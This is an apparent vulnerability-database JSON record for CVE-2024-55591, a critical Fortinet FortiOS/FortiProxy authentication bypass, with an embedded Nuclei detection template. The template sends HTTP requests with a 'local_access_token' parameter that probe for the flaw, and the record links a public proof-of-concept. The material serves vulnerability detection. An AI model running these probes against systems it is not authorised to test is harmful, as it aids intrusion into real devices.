{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-55591/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-55591/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-55591/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-55591/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-55591/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-55591"},"sightings":{"href":"/api/v1/sightings/cve-2024-55591"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-55591.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-55591\n\ninfo:\n name: Fortinet - Authentication Bypass\n author: rootxharsh,iamnoooob,pdresearch\n severity: critical\n description: |\n Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.\n impact: |\n Unauthenticated attackers can bypass authentication mechanisms to access sensitive system information and gain unauthorized access to FortiOS and FortiProxy systems.\n remediation: |\n Update Fortinet FortiOS and FortiProxy to versions that patch CVE-2024-55591 as specified in Fortinet's security advisory.\n reference:\n - https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591/blob/main/CVE-2024-55591-PoC.py\n - https://nvd.nist.gov/vuln/detail/cve-2024-55591\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2024-55591\n cwe-id: CWE-288,NVD-CWE-Other\n epss-score: 0.98259\n epss-percentile: 0.99914\n cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*\n metadata:\n verified: true\n max-request: 1\n vendor: fortinet\n product: fortiproxy\n tags: cve,cve2024,fortinet,disclosure,fortios,kev,intrusive,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/login?redir=/ng\"\n\n host-redirects: true\n max-redirects: 2\n matchers:\n - type: word\n words:\n - ''\n internal: true\n\n - raw:\n - |\n GET /service-worker.js?local_access_token={{randstr}} HTTP/1.1\n Host: {{Hostname}}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"api/v2/static\"\n - \"self.addEventListener\"\n condition: and\n\n - type: word\n part: content_type\n words:\n - \"application/javascript\"\n\n - type: status\n status:\n - 200\n# digest: 490a0046304402203a2328534eb5a5a390bbbb4bff92eceb083464c973dd522731efcbafdbe84e100220679a2e6bb2ebc38bdcffc0209083383540f711d1a06de3ec23d79e85fb8d5e95:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-55591"}